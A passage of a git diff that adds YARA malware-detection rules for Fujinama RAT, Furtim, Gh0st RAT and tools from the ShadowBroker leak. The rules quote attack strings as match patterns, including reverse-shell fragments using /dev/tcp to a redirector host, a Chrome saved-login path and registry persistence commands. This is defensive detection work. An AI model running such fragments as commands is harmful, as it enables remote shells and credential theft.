+      $s3 = "\\Google\\Chrome\\User Data\\Default\\Login Data" ascii
+      $s4 = "outFile=sysDir&\"\\rundll32.exe\"" fullword ascii
+      $s5 = "set shell = WScript.CreateObject(\"WScript.Shell\")" fullword ascii
+      $s6 = "command =outFile &\" sysupdate\"" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and (
+         ( pe.exports("getUpdate") and pe.number_of_exports == 1 ) or
+         1 of ($x*) or
+         3 of them
+      )
+}
diff --git a/yara-Neo23x0/apt_fujinama_rat.yar b/yara-Neo23x0/apt_fujinama_rat.yar
new file mode 100644
index 0000000..89509d4
--- /dev/null
+++ b/yara-Neo23x0/apt_fujinama_rat.yar
@@ -0,0 +1,22 @@
+rule APT_MAL_Fujinama {
+    meta:
+        description = "Fujinama RAT used by Leonardo SpA Insider Threat"
+        author = "ReaQta Threat Intelligence Team"
+        reference = "https://reaqta.com/2021/01/fujinama-analysis-leonardo-spa"
+        date = "2021-01-07"
+        version = "1"   
+        id = "b10b1e45-aa6c-53fa-8e02-7a325c3e12fb"
+    strings:
+        $kaylog_1 = "SELECT" wide ascii nocase
+        $kaylog_2 = "RIGHT" wide ascii nocase
+        $kaylog_3 = "HELP" wide ascii nocase
+        $kaylog_4 = "WINDOWS" wide ascii nocase
+        $computername = "computername" wide ascii nocase
+        $useragent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" wide ascii nocase
+        $pattern = "'()*+,G-./0123456789:" wide ascii nocase
+        $function_1 = "t_save" wide ascii nocase
+        $cftmon = "cftmon" wide ascii nocase
+        $font = "Tahoma" wide ascii nocase
+    condition:
+        uint16(0) == 0x5a4d and all of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_furtim.yar b/yara-Neo23x0/apt_furtim.yar
new file mode 100644
index 0000000..3ab6e34
--- /dev/null
+++ b/yara-Neo23x0/apt_furtim.yar
@@ -0,0 +1,57 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-15
+	Identifier: Furtim Malware
+*/
+
+rule Furtim_nativeDLL {
+	meta:
+		description = "Detects Furtim malware - file native.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "MISP 3971"
+		date = "2016-06-13"
+		hash1 = "4f39d3e70ed1278d5fa83ed9f148ca92383ec662ac34635f7e56cc42eeaee948"
+		id = "4639b637-55d3-5591-9278-5a21de23ac72"
+	strings:
+		$s1 = "FqkVpTvBwTrhPFjfFF6ZQRK44hHl26" fullword ascii
+
+		$op0 = { e0 b3 42 00 c7 84 24 ac } /* Opcode */
+		$op1 = { a1 e0 79 44 00 56 ff 90 10 01 00 00 a1 e0 79 44 } /* Opcode */
+		$op2 = { bf d0 25 44 00 57 89 4d f0 ff 90 d4 02 00 00 59 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 900KB and $s1 or all of ($op*)
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-16
+	Identifier: Furtim Parent
+*/
+
+rule Furtim_Parent_1 {
+	meta:
+		description = "Detects Furtim Parent Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://sentinelone.com/blogs/sfg-furtims-parent/"
+		date = "2016-07-16"
+		hash1 = "766e49811c0bb7cce217e72e73a6aa866c15de0ba11d7dda3bd7e9ec33ed6963"
+		id = "a47719d2-1e4f-50a9-b340-55e13f5a24d5"
+	strings:
+		/* RC4 encryption password */
+		$x1 = "dqrChZonUF" fullword ascii
+		/* Other strings */
+		$s1 = "Egistec" fullword wide
+		$s2 = "Copyright (C) 2016" fullword wide
+		/* Op Code */
+		$op1 = { c0 ea 02 88 55 f8 8a d1 80 e2 03 }
+		$op2 = { 5d fe 88 55 f9 8a d0 80 e2 0f c0 }
+		$op3 = { c4 0c 8a d9 c0 eb 02 80 e1 03 88 5d f8 8a d8 c0 }
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 900KB and
+		( $x1 or ( all of ($s*) and all of ($op*) ) ) ) or
+		all of them
+}
diff --git a/yara-Neo23x0/apt_fvey_shadowbroker_dec16.yar b/yara-Neo23x0/apt_fvey_shadowbroker_dec16.yar
new file mode 100644
index 0000000..0889ef7
--- /dev/null
+++ b/yara-Neo23x0/apt_fvey_shadowbroker_dec16.yar
@@ -0,0 +1,429 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2016-12-17
+   Identifier: Five Eyes ShadowBroker - Screenshots Extractions
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule FVEY_ShadowBroker_Auct_Dez16_Strings {
+  meta:
+     description = "String from the ShodowBroker Files Screenshots - Dec 2016"
+     author = "Florian Roth (Nextron Systems)"
+     score = 60
+     reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+     date = "2016-12-17"
+     id = "b1454c5d-01bc-599b-815c-aa1a3c52be3f"
+  strings:
+    $s1 = "bs.ratload" fullword ascii
+    $s2 = "Auditcleaner" fullword ascii
+    $s3 = "bll.perlbind" fullword ascii
+    $s4 = "bll.perlcallback" fullword ascii
+    $s5 = "bll.telnet" fullword ascii
+    $s6 = "bll.tnc.gr" fullword ascii
+    $s7 = "clean_wtmps.py" fullword ascii
+    $s8 = "cmsex.auto" fullword ascii
+    $s9 = "cottonaxe" fullword ascii
+    $s10 = "dectelnet.sh" fullword ascii
+    $s11 = "elatedmonkey" fullword ascii
+    $s12 = "electricslide.pl" fullword ascii
+    $s13 = "endlessdonut" fullword ascii
+    $s14 = "solaris8shellcode" fullword ascii
+    $s15 = "solaris9shellcode" fullword ascii
+    $s16 = "solaris10shellcode" fullword ascii
+    $s17 = "ys.ratload.sh" fullword ascii
+    $elf1 = "catflap" fullword ascii
+    $elf2 = "charm_penguin" fullword ascii
+    $elf3 = "charm_hammer" fullword ascii
+    $elf4 = "charm_saver" fullword ascii
+    $elf5 = "dampcrowd" fullword ascii
+    $elf7 = "dubmoat" fullword ascii
+    $elf8 = "ebbshave" fullword ascii
+    $elf9 = "eggbasket" fullword ascii
+    $elf10 = "toffeehammer" fullword ascii
+    $elf11 = "enemyrun" fullword ascii
+    $elf12 = "envoytomato" fullword ascii
+    $elf13 = "expoxyresin" fullword ascii
+    $elf14 = "estopmoonlit" fullword ascii
+    $elf15 = "linux-exactchange" fullword ascii
+    $elf17 = "ghost_sparc" fullword ascii
+    $elf18 = "jackpop" fullword ascii
+    $elf19 = "orleans_stride" fullword ascii
+    $elf20 = "prokserver" fullword ascii
+    $elf21 = "seconddate" fullword ascii
+    $elf22 = "shentysdelight" fullword ascii
+    $elf23 = "skimcountry" fullword ascii
+    $elf24 = "slyheretic" fullword ascii
+    $elf25 = "stoicsurgeon" fullword ascii
+    $elf26 = "strifeworld" fullword ascii
+    $elf27 = "suaveeyeful" fullword ascii
+    $elf28 = "suctionchar" fullword ascii
+    $elf29 = "vs.attack.linux" fullword ascii
+    $pe1 = "charm_razor" fullword ascii wide
+    $pe2 = "charm_saver" fullword ascii wide
+    $pe3 = "ghost_x86" fullword ascii wide
+  condition:
+    ( uint16(0) == 0x457f and 1 of ($elf*) ) or
+    ( uint16(0) == 0x5a4d and 1 of ($pe*) ) or
+    1 of ($s*)
+}
+
+rule FVEY_ShadowBroker_violetspirit {
+   meta:
+      description = "Auto-generated rule - file violetspirit.README"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "a55fec73595f885e43b27963afb17aee8f8eefe811ca027ef0d7721d073e67ea"
+      id = "4efea734-8cbc-53f7-bf92-5b3253721a81"
+   strings:
+      $x1 = "-i tgt_ipaddr -h tgt_hostname" fullword ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_gr_gr {
+   meta:
+      description = "Auto-generated rule - file gr.notes"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "b2b60dce7a4cfdddbd3d3f1825f1885728956bae009de3a307342fbdeeafcb79"
+      id = "c233159d-8d78-575b-b32b-21f704debfe2"
+   strings:
+      $s4 = "delete starting from: (root) LIST (root)" fullword ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_user_tool_yellowspirit {
+   meta:
+      description = "Auto-generated rule - file user.tool.yellowspirit.COMMON"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "a7c4b718fa92934a9182567288146ffa3312d9f3edc3872478c90e0e2814078c"
+      id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"
+   strings:
+      $s1 = "-l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -x 9999" fullword ascii
+      $s2 = "-s PITCH_IP -x PITCH_IP -y RHP-24 TARGET_IP" fullword ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_eleganteagle_opscript_1_0_0 {
+   meta:
+      description = "Auto-generated rule - file eleganteagle_opscript.1.0.0.6"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "57e223318de0a802874642652b3dc766128f25d7e8f320c6f04c6f2659bb4f7f"
+      id = "22855519-160c-57cf-b610-a611ca6813ed"
+   strings:
+      $x3 = "uploadnrun -e \"D=-ucIP_ADDRESS_OF_REDIR" ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_opscript {
+   meta:
+      description = "Auto-generated rule - file opscript.se"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "275c91531a9ac5a240336714093b6aa146b8d7463cb2780cfeeceaea4c789682"
+      id = "d00752a3-d5c2-53a7-9a83-ad31cfb534af"
+   strings:
+      $s1 = "ls -l /tmp) | bdes -k 0x4790cae5ec154ccc|" ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_user_tool_shentysdelight {
+   meta:
+      description = "Auto-generated rule - file user.tool.shentysdelight.COMMON"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "a564efeaae9c13fe09a27f2d62208a1dec0a19b4a156f5cfa96a0259366b8166"
+      id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"
+   strings:
+      $s1 = "echo -ne \"/var/run/COLFILE\\0\"" fullword ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_user_tool_epichero {
+   meta:
+      description = "Auto-generated rule - file user.tool.epichero.COMMON"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "679d194c32cbaead7281df9afd17bca536ee9d28df917b422083ae8ed5b5c484"
+      id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"
+   strings:
+      $x2 = "-irtun TARGET_IP ISH_CALLBACK_PORT"
+      $x3 = "-O REVERSE_SHELL_CALLBACK_PORT -w HIDDEN_DIR" fullword ascii
+    condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_user_tool {
+   meta:
+      description = "Auto-generated rule - file user.tool.elatedmonkey"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "98ae935dd9515529a34478cb82644828d94a2d273816d50485665535454e37cd"
+      id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"
+   strings:
+      $x5 = "ELATEDMONKEY will only work of apache executes scripts" fullword ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_user_tool_dubmoat {
+   meta:
+      description = "Auto-generated rule - file user.tool.dubmoat.COMMON"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "bcd4ee336050488f5ffeb850d8eaa11eec34d8ba099b370d94d2c83f08a4d881"
+      id = "d6c0a00b-dda9-587f-a867-f3b632edd494"
+   strings:
+      $s1 = "### Verify version on target:" fullword ascii
+      $s2 = "/current/bin/ExtractData ./utmp > dub.TARGETNAME" fullword ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_strifeworld {
+   meta:
+      description = "Auto-generated rule - file strifeworld.1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "222b00235bf143645ad0d55b2b6839febc5b570e3def00b77699915a7c9cb670"
+      id = "a15c2034-8394-5e62-a5f0-d1506c19e585"
+   strings:
+      $s4 = "-p -n.\" strifeworld" fullword ascii
+      $s5 = "Running STRIFEWORLD not protected" ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_user_tool_pork {
+   meta:
+      description = "Auto-generated rule - file user.tool.pork.COMMON"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "9c400aab74e75be8770387d35ca219285e2cedc0c7895225bbe567ce9c9dc078"
+      id = "ee5f88b1-6e58-5288-8b80-0d3d188e1ac6"
+   strings:
+      $x2 = "packrat -z RAT_REMOTE_NAME" fullword ascii
+      $s3 = "./client -t TIME_ADJ SPECIAL_SOURCE_PORT 127.0.0.1 TARG_PORT" ascii
+      $s4 = "mkdir TEMP_DIR; cd TEMP_DIR; cat < /dev/tcp/REDIR_IP/RED" ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_user_tool_ebbisland {
+   meta:
+      description = "Auto-generated rule - file user.tool.ebbisland.COMMON"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "390e776ae15fadad2e3825a5e2e06c4f8de6d71813bef42052c7fd8494146222"
+      id = "fd312ba2-d590-5007-875c-008553c2b1b9"
+   strings:
+      $x1 = "-t 127.0.0.1 -p SERVICE_TCP_PORT -r TARGET_RPC_SERVICE -X"
+      $x2 = "-N -A SPECIFIC_SHELLCODE_ADDRESS" fullword ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_user_tool_stoicsurgeon {
+   meta:
+      description = "Auto-generated rule - file user.tool.stoicsurgeon.COMMON"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "967facb19c9b563eb90d3df6aa89fd7dcfa889b0ba601d3423d9b71b44191f50"
+      id = "2ff22b17-4922-54d7-bbd8-a5ff40b6ebe5"
+   strings:
+      $x1 = "echo -n TARGET_HOSTNAME  | sed '/\\n/!G;s/\\(.\\)\\(.*\\n\\)/&\\2\\1/;//D;s/.//'" fullword ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_user_tool_elgingamble {
+   meta:
+      description = "Auto-generated rule - file user.tool.elgingamble.COMMON"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "4130284727ddef4610d63bfa8330cdafcb6524d3d2e7e8e0cb34fde8864c8118"
+      id = "344e5d5e-9fd6-5a32-ba98-945f5a35a116"
+   strings:
+      $x2 = "### Local exploit for" fullword ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_README_cup {
+   meta:
+      description = "Auto-generated rule - file README.cup.NOPEN"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "98aaad31663b89120eb781b25d6f061037aecaeb20cf5e32c36c68f34807e271"
+      id = "876f3d99-cc6d-568a-a202-1b4938436303"
+   strings:
+      $s3 = "-F file(s)   Full path to target's \"fuser\" program." fullword ascii
+      $s4 = "done after the RAT is killed." fullword ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_nopen_oneshot {
+   meta:
+      description = "Auto-generated rule - file oneshot.example"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "a85b260d6a53ceec63ad5f09e1308b158da31062047dc0e4d562d2683a82bf9a"
+      id = "6a6b5426-f559-5668-a2ed-982801933302"
+   strings:
+      $s1 = "/sbin/sh -c (mkdir /tmp/.X11R6; cd /tmp/.X11R6 && telnet" ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_user_tool_earlyshovel {
+   meta:
+      description = "Auto-generated rule - file user.tool.earlyshovel.COMMON"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "504e7a376c21ffbfb375353c5451dc69a35a10d7e2a5d0358f9ce2df34edf256"
+      id = "d2640f9f-8934-5095-9c30-f24941685c9e"
+   strings:
+      $x1 = "--tip 127.0.0.1 --tport 2525 --cip REDIRECTOR_IP --cport RANDOM_PORT" ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_user_tool_envisioncollision {
+   meta:
+      description = "Auto-generated rule - file user.tool.envisioncollision.COMMON"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      hash1 = "2f04f078a8f0fdfc864d3d2e37d123f55ecc1d5e401a87eccd0c3846770f9e02"
+      id = "a738e270-a3ea-5d38-8933-797d1bd9036a"
+   strings:
+      $x1 = "-i<IP> -p<port> -U<user> -P<password> -D<directory> -c<commands>" fullword ascii
+      $x2 = "sh</dev/tcp/REDIR_IP/SHELL_PORT>&0" fullword ascii
+      $x3 = "-n ENVISIONCOLLISION" ascii
+      $x4 = "-UADMIN -PPASSWORD -i127.0.0.1 -Dipboard" fullword ascii
+   condition:
+      1 of them
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule FVEY_ShadowBroker_Gen_Readme1 {
+   meta:
+      description = "Auto-generated rule"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      super_rule = 1
+      hash1 = "4b236b066ac7b8386a13270dcb7fdff2dda81365d03f53867eb72e29d5e496de"
+      hash2 = "64c24bbf42f15dcac04371aef756feabb7330f436c20f33cb25fbc8d0ff014c7"
+      hash3 = "a237a2bd6aec429f9941d6de632aeb9729880aa3d5f6f87cf33a76d6caa30619"
+      id = "1f5e3ab1-e0d1-589e-8c18-60c4ad07ee6e"
+   strings:
+      $x1 = "ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | head -10" fullword ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_Gen_Readme2 {
+   meta:
+      description = "Auto-generated rule - from files user.tool.orleansstride.COMMON, user.tool.curserazor.COMMON"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      super_rule = 1
+      hash1 = "18dfd74c3e0bfb1c21127cf3382ba1d9812efdf3e992bd666d513aaf3519f728"
+      hash2 = "f4b728c93dba20a163b59b4790f29aed1078706d2c8b07dc7f4e07a6f3ecbe93"
+      id = "5959d881-2989-582c-abe2-48c76ce0e995"
+   strings:
+      $x1 = "#####  Upload the encrypted phone list as awk, modify each parser command to have the" fullword ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_Gen_Readme3 {
+   meta:
+      description = "Auto-generated rule"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      super_rule = 1
+      hash1 = "18dfd74c3e0bfb1c21127cf3382ba1d9812efdf3e992bd666d513aaf3519f728"
+      hash2 = "4b236b066ac7b8386a13270dcb7fdff2dda81365d03f53867eb72e29d5e496de"
+      hash3 = "3fe78949a9f3068db953b475177bcad3c76d16169469afd72791b4312f60cfb3"
+      hash4 = "64c24bbf42f15dcac04371aef756feabb7330f436c20f33cb25fbc8d0ff014c7"
+      hash5 = "a237a2bd6aec429f9941d6de632aeb9729880aa3d5f6f87cf33a76d6caa30619"
+      hash6 = "89748906d1c574a75fe030645c7572d7d4145b143025aa74c9b5e2be69df8773"
+      hash7 = "f4b728c93dba20a163b59b4790f29aed1078706d2c8b07dc7f4e07a6f3ecbe93"
+      id = "41cfbf66-fb7d-5815-939f-06b23dfae746"
+   strings:
+      $s3 = ":%s/CRYPTKEY/CRYPTKEY/g" fullword ascii
+   condition:
+      1 of them
+}
+
+rule FVEY_ShadowBroker_Gen_Readme4 {
+   meta:
+      description = "Auto-generated rule - from files violetspirit.README, violetspirit.README"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+      date = "2016-12-17"
+      super_rule = 1
+      hash1 = "a55fec73595f885e43b27963afb17aee8f8eefe811ca027ef0d7721d073e67ea"
+      hash2 = "a55fec73595f885e43b27963afb17aee8f8eefe811ca027ef0d7721d073e67ea"
+      id = "9e84e4ab-f74a-59e5-aee2-408a68cd673f"
+   strings:
+      $s1 = "[-v rpc version] : default 4 : Solaris 8 and other patched versions use version 5" fullword ascii
+      $s5 = "[-n tcp_port]    : default use portmapper to determine" fullword ascii
+   condition:
+      1 of them
+}
diff --git a/yara-Neo23x0/apt_fvey_shadowbroker_jan17.yar b/yara-Neo23x0/apt_fvey_shadowbroker_jan17.yar
new file mode 100644
index 0000000..eea5b88
--- /dev/null
+++ b/yara-Neo23x0/apt_fvey_shadowbroker_jan17.yar
@@ -0,0 +1,47 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-01-08
+   Identifier: ShadowBroker Screenshot Rules
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule FVEY_ShadowBrokers_Jan17_Screen_Strings {
+   meta:
+      description = "Detects strings derived from the ShadowBroker's leak of Windows tools/exploits"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message7/"
+      date = "2017-01-08"
+      id = "59832d0a-0cb2-5eb9-a4e2-36aaa09a3998"
+   strings:
+      $x1 = "Danderspritz" ascii wide fullword
+      $x2 = "DanderSpritz" ascii wide fullword
+      $x3 = "PeddleCheap" ascii wide fullword
+      $x4 = "ChimneyPool Addres" ascii wide fullword
+
+      $a1 = "Getting remote time" fullword ascii
+      $a2 = "RETRIEVED" fullword ascii
+
+      $b1 = "Added Ops library to Python search path" fullword ascii
+      $b2 = "target: z0.0.0.1" fullword ascii
+
+      $c1 = "Psp_Avoidance" fullword ascii
+      $c2 = "PasswordDump" fullword ascii
+      $c4 = "EventLogEdit" fullword ascii
+
+      $d1 = "Mcl_NtElevation" fullword ascii wide
+      $d2 = "Mcl_NtNativeApi" fullword ascii wide
+      $d3 = "Mcl_ThreatInject" fullword ascii wide
+      $d4 = "Mcl_NtMemory" fullword ascii wide
+   condition:
+      filesize < 2000KB and (
+        1 of ($x*) or
+        all of ($a*) or
+        1 of ($b*) or
+        ( uint16(0) == 0x5a4d and 1 of ($c*) ) or
+        3 of ($c*) or
+        ( uint16(0) == 0x5a4d and 3 of ($d*) )
+      )
+}
diff --git a/yara-Neo23x0/apt_ghostdragon_gh0st_rat.yar b/yara-Neo23x0/apt_ghostdragon_gh0st_rat.yar
new file mode 100644
index 0000000..3d0d4f8
--- /dev/null
+++ b/yara-Neo23x0/apt_ghostdragon_gh0st_rat.yar
@@ -0,0 +1,92 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-23
+	Identifier: Ghost Dragon Gh0st RAT
+*/
+
+rule GhostDragon_Gh0stRAT {
+	meta:
+		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://blog.cylance.com/the-ghost-dragon"
+		date = "2016-04-23"
+		hash1 = "f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197"
+		hash2 = "99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2"
+		hash3 = "6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df"
+		hash4 = "b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5"
+		id = "a74330ab-5249-5125-8f48-27aec7c6eeb4"
+	strings:
+		$x1 = "REG ADD HKEY_LOCAL_MACHINE\\%s /v ServiceDll /t REG_EXPAND_SZ /d \"%s\"" fullword ascii
+		$x2 = "Global\\REALCHEL_GLOBAL_SUBMIT_20031020_" ascii
+		$x3 = "\\xclolg2.tmp" ascii
+		$x4 = "Http/1.1 403 Forbidden" fullword ascii
+		$x5 = "%sxsd%d.pif" fullword ascii
+		$x6 = "%s\\%s32.dl_" ascii
+		$x7 = "%-23s %-16s  0x%x(%02d)" fullword ascii
+		$x8 = "RegSetValueEx(start)" fullword ascii
+		$x9 = "%s\\%s64.dl_" ascii
+
+		$s1 = "viewsc.dll" fullword ascii
+		$s2 = "Proxy-Connection:   Keep-Alive" fullword ascii
+		$s3 = "\\sfc_os.dll" ascii
+		$s4 = "Mozilla/4.0 (compatible)" fullword ascii
+		$s5 = "Http/1.1 403 Forbidden" fullword ascii
+		$s6 = "CONNECT   %s:%d   HTTP/1.1" fullword ascii
+		$s7 = "WindowsUpperVersion" fullword ascii
+		$s8 = "[%d-%d-%d %d:%d:%d] (%s)" fullword ascii
+		$s9 = "SOFTWARE\\Microsoft\\DataAccess\\%s" fullword ascii
+		$s10 = "%s sp%d(%d)" fullword ascii
+		$s11 = "OpenSC ERROR " fullword ascii
+		$s12 = "get rgspath error " fullword ascii
+		$s13 = "Global\\GLOBAL_SUBMIT_0234_" ascii
+		$s14 = "Global\\_vc_ck_ %d" fullword ascii
+	condition:
+		(
+			uint16(0) == 0x5a4d and filesize < 500KB
+			and (
+				1 of ($x*) or 4 of ($s*)
+			)
+		) or ( 6 of them )
+}
+
+rule GhostDragon_Gh0stRAT_Sample2 {
+	meta:
+		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://blog.cylance.com/the-ghost-dragon"
+		date = "2016-04-23"
+		hash1 = "71a52058f6b5cef66302c19169f67cf304507b4454cca83e2c36151da8da1d97"
+		id = "424cb978-c4d1-5847-8852-e25ec2a02139"
+	strings:
+		$x1 = "AdobeWpk" fullword ascii
+		$x2 = "seekin.dll" fullword ascii
+
+		$c1 = "Windows NT 6.1; Trident/6.0)" fullword ascii
+		$c2 = "Mozilla/5.0 (compatible; MSIE 10.0; " fullword ascii
+	condition:
+		(
